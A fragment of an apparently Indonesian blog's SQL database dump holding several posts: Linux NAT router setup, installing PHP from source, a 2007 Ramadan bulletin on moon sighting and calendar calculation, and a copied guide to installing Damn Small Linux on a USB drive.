\r\n\r\nKemudian kita ping ke domain besar umpamanya ke site www.yahoo.com\r\n\r\n[root@qnoys ~]# ping yahoo.com\r\n\r\nPING yahoo.com (216.109.112.135) 56(84) bytes of data.\r\n\r\n64 bytes from w2.rc.vip.dcn.yahoo.com (216.109.112.135): icmp_seq=0 ttl=46 time=291 ms\r\n\r\n64 bytes from w2.rc.vip.dcn.yahoo.com (216.109.112.135): icmp_seq=5 ttl=46 time=294 ms\r\n\r\n64 bytes from w2.rc.vip.dcn.yahoo.com (216.109.112.135): icmp_seq=6 ttl=47 time=300 ms\r\n\r\n64 bytes from w2.rc.vip.dcn.yahoo.com (216.109.112.135): icmp_seq=7 ttl=46 time=314 ms\r\n\r\n— yahoo.com ping statistics —\r\n\r\n8 packets transmitted, 8 received, 0% packet loss, time 6999ms\r\n\r\nrtt min/avg/max/mdev = 277.040/297.321/314.431/11.433 ms, pipe 2\r\n\r\n[root@qnoys ~]#\r\n\r\n \r\n\r\nDan untuk memastikan lagi, kita coba gunakan perintah links pada shell linux, dengan perintah dan coba links ke google dulu sementara dengan :\r\n\r\n \r\n\r\n[root@qnoys ~]# links google.com\r\n\r\n(test sendiri)\r\n\r\nFriendster.com\r\n\r\n(test sendiri)\r\n\r\nMaka di pastikan tampilan google.com akan seperti ini. Dan artinya kita telah bisa ngebrowsing lewat console shell pada linux \\:D/ hore akhirnya saya bisa juga bikin linux ngebrowsing lewat shell yiiiii haaaaa :D hehehehe.. sorry .. terlalu bergairah.. sayanya :”> tampilan di atas saya printscreen, pengeditan yang saya lakukan adalah lewat putty ip komputer calon router saya, dan saya pikir juga /J ini tampilan jelek juga yah :-s .. yah iya dong.. inilah linux.. lewat console bisa lakukan browsing.. linux console ga’ mikir tampilan ;)\r\n\r\n \r\n\r\nOk selanjutnya saya mau baca dulu yah :D tutorial tutorial yang saya kumpulkan tentang linux. :D saya mo baca dulu gimana bikin router itu sharing ke klient local dengan ip local 192.168.0.0/24 yang merupakan ip saya bikin sendiri untuk jaringan local saya .. ok tunggu bentar yah >:D< :-b\r\n\r\nZZZZzzzzzZZzzzZZZZzzzz………………….|-)\r\n\r\n\r\n(K duh selesai juga saya ngabsen ga’ bikin linux links lagi ke internet ok :-? Sekarang kita coba bikin internet itu sharing melewati gateway linux atau router linux yang telah saya konfigurasi dengan konfigurasi di atas sebelumnya. Saya sudah coba links berbagai website lewat console shellnya linux. Dan sekarang saya akan coba sharing internet pada router ke komputer saya dengan alamat ipnya adalah 192.168.0.2/24 yang akan di set gatewaynya adalah 192.168.0.1 yang merupakan ip ethernet kedua dari komputer linux itu sendiri..\r\n\r\nPertama kita pastikan dulu ethernetnya yang kedua, lebih tepatnya adalah eth1, akan kita configurasi ipnya 192.168.0.1. dengan perintah :\r\n\r\n[root@qnoys ~]# vi /etc/sysconfig/network-scripts/ifcfg-eth1\r\n\r\nDEVICE=eth1\r\n\r\nBOOTPROTO=static\r\n\r\nBROADCAST=192.168.0.255\r\n\r\nIPADDR=192.168.0.1\r\n\r\nNETMASK=255.255.255.0\r\n\r\nNETWORK=192.168.0.0\r\n\r\nONBOOT=yes\r\n\r\nTYPE=Ethernet\r\n\r\nDHCP_HOSTNAME=qnoys\r\n\r\nTampilannya kira kira begini aja J. Setelah kita set configurasinya, sekarang kita simpan. Dengan menekan titik dua dilanjutkan dengan mengetik ”wq” / simpan.\r\n\r\nSetelah itu kita hubungkan komputer kita yang dengan komputer router yang ethernetnya adalah ethernet 2 / eth1, dan komputer kita, kita set ipnya adalah :\r\n\r\nIp = 192.168.0.2 ;(selain dari ip router, yaitu 2 – 254 ) dan akan kita arahkan ke ip 1 .\r\n\r\nNetmask = 255.255.255.0\r\n\r\nGateway = 192.168.0.1\r\n\r\nKonfigurasi ini terletak pada konfigurasi network connection:\r\n\r\n \r\n\r\nSupaya router dapat memfoward dan di fungsikan sebagai router kita harus menset file pada router yaitu file sysctl.conf . yang terletak pada direktory /etc/ dengan perintah\r\n\r\n[root@qnoys ~]# vi /etc/sysctl.conf\r\n\r\n# Kernel sysctl configuration file for Red Hat Linux\r\n\r\n#\r\n\r\n# For binary values, 0 is disabled, 1 is enabled. See sysctl(8) and\r\n\r\n# sysctl.conf(5) for more details.\r\n\r\n# Controls IP packet forwarding\r\n\r\nnet.ipv4.ip_forward = 1\r\n\r\n# Controls source route verification\r\n\r\nnet.ipv4.conf.default.rp_filter = 1\r\n\r\n# Do not accept source routing\r\n\r\nnet.ipv4.conf.default.accept_source_route = 0\r\n\r\n# Controls the System Request debugging functionality of the kernel\r\n\r\nkernel.sysrq = 0\r\n\r\n# Controls whether core dumps will append the PID to the core filename.\r\n\r\n# Useful for debugging multi-threaded applications.\r\n\r\nkernel.core_uses_pid = 1\r\n\r\n“/etc/sysctl.conf” 20L, 604C\r\n\r\nDan ada juga caranya untuk mengaktifkan ipfordwardingnya dengan mengetikan perintah pada shell\r\n\r\n[root@qnoys ~]# echo 1 > /proc/sys/net/ipv4/ip_forward\r\n\r\nDah configurasinya bisa anda liat langsung nilainya bernilai 1, pada file ip_forward pada direktory\r\n\r\n/proc/sys/net/ipv4/\r\n\r\n \r\n\r\nPada kalimat yang bertulisan merah.. setting yang semulanya 0 di ubah menjadi satu seperti di atas, yang telah di tandai dengan tanda merah.\r\n\r\n \r\n\r\nSekarang kita akan melakukan sharing internet dari router dengan opsynya adalah di NAT kan, maka kita bikin dulu file natnya rc.nat dan kita letakkan pada /etc/rc.d/. dengan perintah.\r\n\r\n[root@qnoys ~]# vi /etc/rc.d/rc.nat\r\n\r\n \r\n\r\nFile rc.nat adalah file baru yang kita buat. Yang sebelumnya file tersebut belum ada, makan kita bikin langsung dengan perintah di atas, makan file rc.nat akan terbentuk sendiri yang isinya sendiri adalah kosong, kita akan mengisi file tersebut dengan opsi nat.\r\n\r\nYang isinya adalah :\r\n\r\niptables –t nat –A POSTROUTING –o eth0 –s 192.168.0.0/24 –j SNAT –to-source 222.111.99.88\r\n\r\nkita tekan esc dan selanjutnya menekan tombol titik dua ( : ) dengan diikuti tulisan wq , yang artinya kita menyimpannya. Kemudian kita ubah file permisinya dengan perintah\r\n\r\n[root@qnoys ~]# chmod +x /etc/rc.d/rc.nat\r\n\r\nChmod digunakan untuk supaya file rc.nat dapat di eksekusi..\r\n\r\nKita buka file rc.local yang berada pada direktory /etc/rc.d/\r\n\r\nDengan menggunakan editor vi.. terserah anda mau pake’ editor apa J yang penting enjoy, dengan perintah :\r\n\r\n[root@qnoys ~]# vi /etc/rc.d/rc.local\r\n\r\n#!/bin/sh\r\n\r\n#\r\n\r\n# This script will be executed *after* all the other init scripts.\r\n\r\n# You can put your own initialization stuff in here if you don’t\r\n\r\n# want to do the full Sys V style init stuff.\r\n\r\ntouch /var/lock/subsys/local\r\n\r\n/etc/rc.d/rc.nat\r\n\r\nKetikan dengan tanda merah itu kita isikan sesuai dengan di atas.. artinya file rc.nat akan di eksekusi pada saat booting lewat file rc.local :D sekarang kita coba restart network kita lagi dengan perintah:\r\n\r\n[root@qnoys ~]# /etc/init.d/network restart\r\n\r\nDan selanjutkan kita coba test pada client kita , dan kita kasih ip sejaringan dengan ip eth1 yaitu 192.168.0.2 atau selain dari 192.168.0.1 karna merupakan gateway router kita .. supaya ga’ bentrok. Dan selanjutnya kita isi juga DNS 1 dan DNS 2 . ;)\r\n\r\nGimana hasilnya ????\r\n',1,1,4);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (44,'2007-09-08 16:00:34','Install PHP on LINUX','Assalamualaikum, \r\n(Only For Beginer, sory if you are the Profesional) \r\n\r\nHari kita belajar gimana cara install PHP di Linux, kenapa pilih ini solanya dah banyak yang install di windows tapi entar kita bahas yang windows juga ok. \r\nMonggo gak usah lama-lama kita lansung aja. Pertama kali kita bikin direktori untuk menampung file source yang kita install. Ini perintahnya :). \r\nmkdir /usr/local/download \r\n\r\nLalu kita isi dengan soruce code untuk diinstall, kalau antum dah punya sourcenya gak perlu langkah-langkah ini. \r\ncd /usr/local/download \r\nftp ftp.php.net \r\ncd pub/distributions\r\nbin\r\nget php-5.2.0.tar.gz\r\nbye \r\n\r\nSaya download yang itu, klo antum pengen download yang versi terbaru ya silahkan. :) \r\ncd /usr/local/download \r\n\r\nKlo udah di downlod tinggal extract aja dengan perintah sebagai berikut: \r\ntar xzf php-5.2.0.tar.gz -C ../etc \r\n\r\nCommand di atas akan menginstall PHP dari direktori download ke direktori /usr/local/etc/ \r\nLangkah selanjutnya kita compile source codenya, dengan perintah dibawah ini. \r\n./configure -with-apache=../httpd -with-config-file-path=/www/conf -enable-track-vars \r\n\r\nsekarang bikin executable dengan perintah berikut \r\nmake \r\n\r\nakan membutuhkan beberapa detik, klo udah keluar prompt lagi ketik perintah ini.\r\nmake install \r\n\r\nsekarang kita harus menambahkan php module ke apche dengan dara berikut: \r\nmasuk ke folder dibawah ini. \r\ncd ../httpd \r\n\r\nlalu\r\n./config.status -activate-module=src/modules/php5/libphp5.a \r\n\r\nkemudian \r\nmake \r\n\r\nkemudian matikan apachenya trus install binari lagi, hehe ini biar server web kita lancar and stabil gitu \r\nbin/apachectl stop\r\nmake install \r\nrestart apache now \r\nbin/apachectl start \r\n\r\nmasuk ke direktori php lalu copy, seperti dibawah ini.\r\ncd ../php\r\ncp php5.ini-dist /www/conf/php5ini \r\n\r\nrename php5.ini-dist menjadi php5.ini \r\n\r\nOK :) \r\nDo you think we are done with PHP installation on Linux? well, fortunately yes.. we are ... now you can make a test page with \r\n< ?php echo \"PHP ! I\'m gonna get you..\"; ?> \r\nand browse this page if you see what you wrote your php is working fine otherwise it has some problem, test all the steps again and if still stuck with it ask for help here \r\n',1,1,2);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (45,'2007-09-10 17:26:06','Yuk, Serentak Puasa Sedunia!','<i>STUDIA Edisi 358/Tahun ke-8 (10 September 2007)\r\nhttp://studia-online.com; http://solihin: www.osolihin.wordpress.com</i>\r\n\r\n<b>Yuk, Serentak Puasa Sedunia!</b>\r\n\r\nAlhamdulillah, sebentar lagi Ramadhan 1428 H datang menjelang hanya dalam hitungan hari (paling nggak kalo edisi cetak buletin ini terbit serentak setiap senin, maka edisi ini terbit pada tanggal 10 September 2007 dan itu artinya 2 atau 3 hari lagi tanggal 1 Ramadhan 1428 H). Kita udah siapin segala keperluan untuk ibadah full selama sebulan. Karena pada Ramadhan ini, Allah Swt. sedang TP alias Tebar Pahala bagi kaum muslimin yang melaksanakan ibadah shaum dan amalan lainnya. Semoga Allah Swt. memudahkan kita untuk melaksanakan ibadah Ramadhan ini dengan benar dan baik sesuai dengan syarat dan ketentuan yang berlaku dalam ajaran Islam.\r\n\r\nSobat, sudah menjadi rahasia umum kalo tiap awal dan akhir Ramadhan ini selalu membuat kita berbeda dalam memulainya. Ada yang lebih dulu sehari, dengan alasan sudah terlihat hilal, tapi ada juga yang tetap konsisten rukyatul kalender alias melihat kalender hijriah hasil hisab, dan yang pasti di negeri ini nggak pernah beda ama kalender meskipun ada tim rukyat yang dibentuk dan ditunjuk.\r\n\r\nNah, STUDIA pada edisi ini akan bahas setidaknya tiga hal: Pertama, tentang rukyat dan rukyat global. Kedua, tentang hisab. Ketiga, tentang wajibnya serentak dalam memulai dan mengakhiri Ramadhan. Kita batasi dengan tiga poin ini. Supaya nggak panjang dan ngelebar kemana-mana. Maklum, panjang kalo dikalikan lebar kan hasilnya jadi luas. Betul nggak?\r\nMelihat hilal\r\n\r\nApa sih hilal itu? Yang dimaksud dengan hilal adalah bulan sabit pertama yang tampak setelah bulan baru (ijtima’). Tampaknya di ufuk sebelah barat menjelang maghrib.\r\n\r\nIjtima’ adalah “bertemunya” (conjunction) bulan dan matahari pada bujur ekliptik yang sama. Bila lintangnya juga sama terjadilah gerhana matahari. Para astronom kini sanggup memprediksi ijtima’ ribuan tahun ke depan dengan kesalahan kurang dari semenit. Ijtima’ terjadi serentak, dan cuma sekali setiap bulan. Kecuali saat gerhana, peristiwa ijtima tidak bisa dilihat karena matahari di belakang bulan sangat menyilaukan.\r\n\r\nSetelah ijtima’, bulan yang makin tinggi lambat laun akan menyentuh horizon bagi tempat di muka bumi yang sedang mengalami matahari terbenam. Bila bulan ini tepat di horizon, dikatakan irtifa’-nya nol dan sejak itu dia “wujud” (wujud ul hilal). Makin lama irtifa’ ini makin besar. Dalam 24 jam (sehari) dia akan naik sekitar 12 derajat. Para astronom berdasarkan pengamatan puluhan tahun mendapatkan bahwa hilal baru akan teramati ketika irtifa minimal 5 derajat. (Dr. Ing. Fahmi Amhar, pada makalah, Teknologi Pemburu Hilal)\r\n\r\nMelihat hilal, atau dalam bahasa Arab disebut rukyatul hilal, adalah sebuah metode untuk menentukan awal atau akhir dari umur bulan. Karena dalam kalender Islam itu jumlah harinya nggak tetap, yakni kalo nggak 29 ya 30 hari dalam setiap bulannya. Khusus untuk bulan Sya’ban dan Ramadhan, Rasulullah saw. memberikan perhatian lebih dalam mengamati hilal ini.\r\n\r\n Dari Aisyah ra., ia berkata: “Adalah Rasulullah saw. sangat mencermati keadaan hilal pada bulan Sya’ban, melebihi perhatian beliau akan bulan selain Sya’ban. Beliau pun melakukan puasa Ramadhan karena terlihatnya hilal. Maka apabila hilal terhalang awan, beliau menghitung 30 hari, kemudian beliau berpuasa” (HR Ahmad, Abu Dawud, Daruquthni).\r\n\r\n Dalam hadis lain Rasulullah saw. menyampaikan, “”Berpuasalah kalian karena melihat bulan sabit, dan berhari rayalah kalian ketika melihat bulan sabit. Maka, jika mendung menghalangi penglihatan kalian dari melihat bulan sabit, sempurnakanlah 30 hari bulan Sya’ban” (HR Bukhari dan Muslim)\r\n\r\nIni menjadi dalil bahwa metode penentuan bulan baru dalam Islam dilakukan dengan rukyatul hilal alias melihat hilal.\r\nRukyat global\r\n\r\nRukyat global maksudnya adalah satu pengamatan berlaku untuk seluruh dunia. Sehingga serentak memulai dan mengakhiri Ramadhan. Itu maksudnya. Hal ini tentu berdasarkan dalil juga dong.\r\n\r\nKetiga imam madzhab, yakni Imam Abu Hanifah, Imam Malik, dan Imam Ahmad sepakat bahwa penentuan awal-akhir Ramadhan harus dengan rukyat global, tanpa lagi mempertimbangan mathla’ (jarak wilayah) untuk daerah tertentu. Misalnya pengikut Imam Syafi’i menentukan radius 120 km. Maka, antara Jakarta dengan Bandung saja bisa berbeda memulai Ramadhan jika mengikut pendapat ini. Kalo mengadopsi rukyat global, berarti seluruh dunia seharusnya bisa serentak memulai awal dan akhir Ramadhan ini. Iya kan?\r\n\r\n Maka, menurut Imam asy-Syaukani, “Pendapat yang layak dijadikan pegangan adalah, apabila penduduk suatu negeri telah melihat bulan (rukyatul hilal), maka rukyat ini berlaku pula untuk seluruh negeri-negeri yang lain.” (Imam Asy Syaukani, Nailul Authar, Jilid III, hlm. 125)\r\n\r\nHisab adalah…\r\n\r\nHisab itu artinya menghitung. Sebelum dijelasin lebih jauh, kamu kayaknya perlu mengenal terlebih dahulu bahwa ukuran waktu dalam penanggalan Islam (kalender hijriah) itu didasarkan pada peredaran bulan murni. Jadi hitungannya berdasarkan umur bulan. Bukan matahari. Berbeda dengan kalender Masehi yang penanggalannya didasarkan pada peredaran bumi mengelilingi matahari. Jelas beda banget.\r\n\r\nMelalui hisab inilah penangalan kalender hijriah disusun dan tanggalnya kadang ditemukan di beberapa kalender untuk ‘mendampingi’ kalender masehi yang udah diterapkan secara internasional. Misalnya, tanggal 13 September 2007 di kalender kita saat ini, itu sama dengan 1 Ramadhan 1428 H. Itu berdasarkan perhitungan ahli hisab. Jangankan setahun ke depan, seratus tahun ke depan pun dengan metode hisab bisa ditentukan kapan satu Ramadhan diawali dan diakhiri. Memudahkan memang. Apalagi setelah berkembang teknologi di bidang astronomi yang dilengkapi peralatan canggih bisa menentukan kapan gerhana matahari, kapan gerhana bulan, dan tentunya kapan memulai ibadah-ibadah sampai ribuan tahun ke depan (sebelum kiamat tentunya) dengan tingkat akurasi tinggi, kalo pun meleset tak lebih dari 1 menit. Wuih!\r\n\r\nPertanyaannya, apakah hisab itu diperbolehkan? Para fuqaha berbeda pendapat dalam masalah ini. Dahulu para imam madzhab tidak membolehkan penggunaan hisab, sebab hisab tidak memberikan hasil perhitungan yang meyakinkan bahkan tidak menghasilkan perhitungan yang rajih. Sebabnya apa? Karena saat itu ilmu hisab belum berkembang dengan bantuan teknologi seperti sekarang.\r\n\r\nDalam kitab Syarah Shahih Muslim karya Imam Nawawi, jilid VII hlm. 192 dan dalam kitab Fathul Bari Bisyarhi Shahih Al Bukhari karya Ibnu Hajar Al Asqalani, jilid V hlm. 126-127 terdapat hadits Nabi saw.: Kami adalah umat yang ummi. Kami tidak dapat menulis atau menghitung. Satu bulan ada begini, begini, begini (seraya menyodorkan kesepuluh jari tangan tiga kali, dengan menekuk jari jempol pada sodoran ketiga) dan satu bulan adalah begini, begini, begini (dengan membuka semua jari pada ketiga sodoran). (Lafazh hadits menurut Imam Muslim)\r\n\r\nImam Hajar kemudian memberi komentar (syarah) hadits ini sebagai berikut: “Yang dimaksud dengan hisab dalam hadits ini adalah hisabun nujum (perhitungan ilmu falak) dan peredarannya. Orang-orang dahulu belum mengetahui ilmu itu, kecuali sedikit dan pengetahuannya pun amat sederhana. Dikaitkan dengan puasa dan (perkara) lainnya dengan rukyat adalah untuk menghilangkan kesukaran dari mereka dalam menggunakan hisab peredaran bulan.”\r\n\r\nSo, dalam penjelasan di atas ini, menggunakan metode hisab, apalagi dengan bantuan teknologi astronomi yang cukup bagus, hukumnya boleh. Silakan saja. Namun, perlu diingat bahwa hisab bukan alat utama untuk menentukan awal dan akhir dari umur bulan hijriah. Tapi tugasnya adalah untuk mendukung rukyat. Misalnya untuk menentukan kapan dimulai melihat hilal bulan baru. Ini penting agar jangan sampe baru tanggal 28 udah melihat hilal. Itu sih nggak bakalan ketemu, karena yang dilakukannya itu adalah rukyatul qomar alias melihat bulan (hehehe...). Maka, pengerjaan hisab pun, akhirnya memang harus dilakukan oleh ahli rukyat yang handal dan mumpuni di bidangnya supaya antara hisab dan rukyat itu saling mendukung, gitu lho.\r\nAyo, serentak puasa!\r\n\r\nMemang nggak mudah untuk bisa menyatukan pendapat dalam kondisi kaum muslimin seperti saat ini yang terpecah lebih dari 50 negara dalam ikatan nasionalisme masing-masing. Meski secara ilmiah metode hisab sudah berkembang dengan bagus, memburu hilal pun sudah menggunakan teknologi canggih seperti melengkapi teleskop horizontal dengan kamera digital yang berresolusi geometris tinggi dan juga berresolusi spektral (radiometris) yang luas.\r\n\r\nSobat muda muslim, meskipun sumberdaya manusia kaum muslimin hebat, peralatan canggih, metode menghitung dengan hisab juga oke, tapi kalo nggak ada pemersatunya tetep nggak akan bisa menyatukan kaum muslimin dalam memulai ibadah Ramadhan ini. Karena masing-masing akan mengklaim bahwa metodenyalah yang terbaik. Susah kan?\r\n\r\nItu sebabnya, keberadaan Khilafah Islamiyah akan memberikan solusi, bukan hanya dalam masalah menentukan awal dan akhir Ramadhan, tapi seluruh problem hidup manusia di dunia ini. Khalifah, sebagai kepala negara akan mengambil keputusan untuk menentukan awal dan akhir sebuah bulan. Sebab, akan berpengaruh kepada waktu-waktu ibadah. Padahal, ibadah harus jelas waktunya. Itu sebabnya, kita nggak boleh melaksanakan shalat Idul Fitri tapi tanggal 2 Syawal. Waduh!\r\n\r\nSo, untuk menyelesaikan masalah ini Khilafah Islamiyah akan mengerahkan para astronom muslim untuk melakukan rukyat dan laporannya diberikan kepada khalifah sehingga khalifah bisa menentukan keputusan tepat untuk serentak berpuasa. Kalo sekarang? Ya, kita harus sabar sebab negara juga kayaknya susah dipercaya. Apalagi selama ini nggak pernah beda ama kalender yang udah ditulisi itu.\r\n\r\nTapi tentu saja kita harus berupaya mencari informasi yang benar dan akurat tentang rukyatul hilal ini dari berbagai sumber terpercaya di bidangnya. Oya, jangan lupa untuk senantiasa bergerak menyampaikan dakwah agar Khilafah Islamiyah yang menerapkan syariah Islam kembali tegak untuk kemaslahatan seluruh manusia. Bagaimana? ',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (46,'2007-09-11 11:10:46','Installing LINUX DSL to USB Flash Drive','<i>\"Hihi, berhubung hardisk dikomputer rumah RUSAK, jadi pengen manfaatin USB yang jarang kepakek. Ini tutorial yang langsung saya copy dari <a href=\'http://damnsmalllinux.org/wiki/index.php/Installing_to_a_USB_Flash_Drive\' target=\'_blank\'>http://damnsmalllinux.org/wiki/index.php/Installing_to_a_USB_Flash_Drive</a> BIAR KLO BACA LEBIH CEPET MAKSUTNYA :P\"</i>\r\n\r\nBefore going any further\r\nSave all of your data on your USB to another storage medium, such as a CD/DVD or hard drive.\r\n\r\nRequirements\r\nUSB Drive at least ?? in size 128MB.\r\n\r\nFrom within DSL\r\nSome things have changed since this page was originally written. Since then, an easy (and working) method to install DSL to a USB flash drive is available from within the DSL LiveCD main menu. Simply open the Main menu, go to Apps then Tools and select either a USBZIP or USBHDD and follow the prompts. See the page at USB Booting for more information.\r\n\r\nFrom within Linux\r\n\r\n * Begin by determining the location of your flash drive. It will be something like /dev/sda \r\n\r\n fdisk -l\r\n\r\n * Check your syslinux version and upgrade it if you want FAT32 support. (Syslinux 2.11 works for FAT16; Syslinux 3.35 works for FAT32) Compile & install the latest syslinux from http://www.kernel.org/pub/linux/utils/boot/syslinux/\r\n * If you need to wipe the MBR on the Flash Disk, do it with a command like below. This shouldn\'t be necessary unless there\'s another funky bootloader in the MBR (like, if you were experimenting with another bootable USB linux distro). \r\n\r\n dd if=/dev/zero of=/dev/sdX bs=512 count=1\r\n\r\n( BE *VERY* CAREFUL NOT TO WIPE YOUR HARD DRIVE\'S MBR HERE!!!)\r\n\r\nThen install http://ms-sys.sourceforge.net/ and put another MBR in its place:\r\n\r\n ms-sys -s /dev/sdX\r\n\r\nAnother way to put MBR in its place is using \'mbr.bin\' 512 bytes file from the Syslinux package:\r\n\r\n locate mbr.bin\r\n cat /somepath/share/syslinux/mbr.bin > /dev/sdX\r\n\r\n * Run fdisk on /dev/sdX, so it looks like this: \r\n\r\n Device Boot Start End Blocks Id System\r\n /dev/sdX1 * 1 1021 253177 b W95 FAT32\r\n\r\nUse d to delete existing partitions until none remain. Use n,p,1 to create a new primary partition. Use a to make it bootable. Use t,b to make it W95 FAT32. Don\'t forget to hit \'a\' to make it bootable!\r\n\r\nUse \'w\' to save the changes and exit\r\n\r\n * Download the dsl-embedded zipfile\r\n * Create a FAT16 or FAT32 partition on the pendrive: mkfs.vfat -F 32 /dev/sdX1 (\"-F 32\" will do FAT32; \"-F 16\" will do FAT16)\r\n * Mount the pendrive & unzip the dsl-embedded.zip file onto this.\r\n * Unmount the pendrive\r\n * run \"syslinux -s /dev/sdX1\" (without the quotes) to make it bootable.\r\n * You can now boot via QEMU (from within Linux or windows), OR as native from the USB drive.\r\n * You can also run DSL from a GRUB bootloader menu on your USB key. This is very useful if you\'re using DSL as part of a data/system rescue toolkit, as you can include multiple preset configurations of DSL as well as other utilities. \r\n\r\nNote: syslinux needs the package \"mcopy\" included in the package \"mtools\".\r\n\r\nNote: Unfortunately, this method does NOT give a 50MB Linux Distribution because qemu dir and method is (comparatively) big. You will end up with a 110MB distribution.\r\n\r\nNote: The iocharset=utf8 option when mounting the USB stick may result in the \"KNOPPIX/KNOPPIX\" not being found upon booting.\r\n\r\nMethod I: Using GRUB as boot loader\r\n\r\nNote: This method has been reported not to work under certain conditions\r\n\r\n * Download the current.iso dsl-cd image.\r\n * Create an ext2 partition (=> 51MB) on pendrive. Mount it. \r\n\r\n mke2fs -v -L \"DSL\" /dev/<device>\r\n mkdir -p /tmp/pendrive\r\n mount /dev/<device> /tmp/pendrive/\r\n\r\nwhere <device> is the corresponding file which represents your USB storage device/partition.\r\n\r\nNote: ext3 is ok too.\r\n\r\n * Change to the directory where you mounted the ext2 partition, install GRUB boot loader: \r\n\r\n cd /tmp/pendrive/\r\n grub-install --no-floppy --root-directory=. /dev/<device> \r\n\r\nNote: Replace <device> with the corresponding file which represents your USB storage device/partition. For example /dev/sdc1\r\n\r\nNote 2: This method did not work for me, I used the manual method of running grub and entered \"root (hd1,1)\" and \"setup (hd1)\" (your paths will probably vary).\r\n\r\n * Copy the contents of the cd image to the usb drive. \r\n\r\n mkdir /tmp/dsl-cd\r\n mount [/path_to/]current.iso /tmp/dsl-cd/ -o loop\r\n cp -vR /tmp/dsl-cd/* /tmp/pendrive/\r\n\r\n * While in the same directory - where you mounted the ext2 filesystem - create a menu.lst file for grub in the directory ./boot/grub/menu.lst \r\n\r\n cat > /tmp/pendrive/boot/grub/menu.lst << EOF\r\n title Damn Small Linux\r\n root (hd0,0)\r\n kernel /boot/isolinux/linux24 root=/dev/sda1 ro lang=us toram noeject frugal\r\n initrd /boot/isolinux/minirt24.gz\r\n boot\r\n EOF\r\n\r\nNote: You might have to change (hd0,0) to the correct partition for your USB drive. However, the default should work on most systems.\r\n\r\n * Unmount the filesystem.\r\n * You can now boot from your USB storage device. \r\n\r\n\r\nMethod II: Using GRUB as boot loader\r\n\r\nSomeone found the above process doesn\'t work and has documented for others this working process\r\n\r\n\r\nThe Situation:\r\n\r\n * Running SLED 10 (Suse)\r\n * The USB key is a 1GB and appears as /dev/sda\r\n * Logged in as root\r\n * The DSL ISO is downloaded to /root/Desktop/dsl-3.3.iso\r\n * Two partitions, the first to use as general USB storage, the second for DSL\r\n * The DSL partition wanted to be ext3 so that Windows doesn\'t mess it up\r\n * The first partition needs to be the big storage one as Windows doesn\'t like addressing the second partition on flash drives \r\n\r\n\r\nThe procedure:\r\n\r\n * fdisk /dev/sda\r\n o d - Delete all partitions on the key\r\n o n - Make a partition\r\n + p - Primary partition for general storage\r\n + 1 - First partition\r\n + 1 - From the first block\r\n + 948 - Most of the space, about 933MB \r\n o n - Make a partition\r\n + p - Primary partition for DSL\r\n + 2 - Second partition\r\n + 949 - Start from the next available sector\r\n + 1012 - To the end of the disk. I give it 64MB \r\n o a - Make the partition bootable\r\n + 2 - Mark the DSL partition bootable \r\n o t - Change the partition type\r\n + 1 - Change partition 1\r\n + b - Change it to Win95 FAT32 \r\n o w - Write the changes \r\n * fdisk -l - Gives the following output: \r\n\r\n Device Boot Start End Blocks Id System\r\n /dev/sda1 1 948 954131+ b W95 FAT32\r\n /dev/sda2 * 949 1012 64416 83 Linux\r\n\r\nYour flash drive should now look like this\r\n\r\n * mkdir /mnt/iso\r\n * mkdir /mnt/usb\r\n * mount -o loop /root/Desktop/dsl-3.3.iso /mnt/iso\r\n * mke2fs /dev/sda2 \r\n\r\nNote: If you want to have an ext3 filesystem, add the -j flag: mke2fs -j /dev/sda2\r\n\r\n * mount /dev/sda2 /mnt/usb/\r\n * cd /mnt/iso\r\n * tar cvf - . | (cd /mnt/usb; tar xvf - )\r\n * mkdir /mnt/usb/boot/grub\r\n * cp /boot/grub/*stage* /mnt/usb/boot/grub/\r\n * cat > /mnt/usb/boot/grub/menu.lst << EOF \r\n\r\n title Damn Small Linux\r\n root (hd0,1)\r\n kernel /boot/isolinux/linux24 root=/dev/sda1 ro lang=us toram noeject frugal\r\n initrd /boot/isolinux/minirt24.gz\r\n boot\r\n EOF\r\n\r\n * cd /mnt/usb/\r\n * grub-install --no-floppy --root-directory=. /dev/sda\r\n * cd /root\r\n * umount /mnt/usb\r\n * umount /mnt/iso\r\n * rm -r /mnt/iso\r\n * rm -r /mnt/usb \r\n\r\n\r\nFrom within Windows\r\n\r\n Note: This guide assumes that your USB Flash Drive is \"F:\". Please replace \"F\" with the correct drive letter. \r\n\r\nThere are two methods. For either method, you will need:\r\n\r\n * A USB flash drive (also called flash disk, pendrive, USB stick...)\r\n * Download \"dsl-embedded.zip\" from http://www.damnsmalllinux.org/download.html (49Mb - The Torrent is recommended, and is often the fastest) \r\n\r\n\r\nMethod I\r\n\r\n 1. Format your flash drive, from cmd.exe (the \"DOS\" window) type:\r\n\r\n FORMAT F: /fs:FAT32\r\n\r\n 2. Unzip \"dsl-embedded.zip\" to your flash drive (you could use the \"Extract all files\" built into XP with the destination as \"F:\\\")\r\n 3. Download Syslinux - Syslinux can also be used by various other platforms, such as Unix.\r\n 4. Go to a command prompt and run syslinux for your drive from \\win32\\syslinux.exe typing\r\n\r\n SYSLINUX -ma F: \r\n\r\n# If you are running Windows Vista, remember to start cmd.exe as Administrator, otherwise the normal cmd.exe won\'t be able to access the MBR of your USB drive. # reboot. Note: Booting from USB may or may not work on your computer, mostly dependent on its age and bios setup. Some systems may have problems booting from USB drives formatted as FAT32. Changing the format step to\r\n\r\nFORMAT F: /fs:FAT\r\n\r\nmay allow DSL to boot.\r\n\r\nMethod II\r\n\r\nFor this method, you will need \"HP USB Key Utility for Windows\", from http://h18007.www1.hp.com/support/files/server/us/download/23839.html?jumpid=reg_R1002_USEN\r\n\r\n 1. Install \"HP USB Key Utility for Windows\"\r\n 2. Plug in the flash disk and let windows find it (check the letter assigned to your flash disk i.e. F:)\r\n 3. Run Start Menu-> Programs -> HP System Tools -> HP Drive Key Boot Utility\r\n 1. On Welcome Screen - click Next\r\n 2. Select your flash drive letter (in my case F:) - click Next\r\n 3. Choose Create New or Replace Existing Configuration - click Next\r\n 4. Choose Hard Drive - click Next\r\n 5. Choose Create New Filesystem - click Next\r\n 6. Wait until the drive is formated...\r\n 7. Choose HP Firmware Flash Package - click Next, click Finish. \r\n 4. Now extract the content of the dsl-embedded.zip file directly onto your flash disk (F: in my case) overwriting all files(!!).\r\n 5. Done! Your DamnSmallLinux on USB is ready :-) Reboot and try it!! 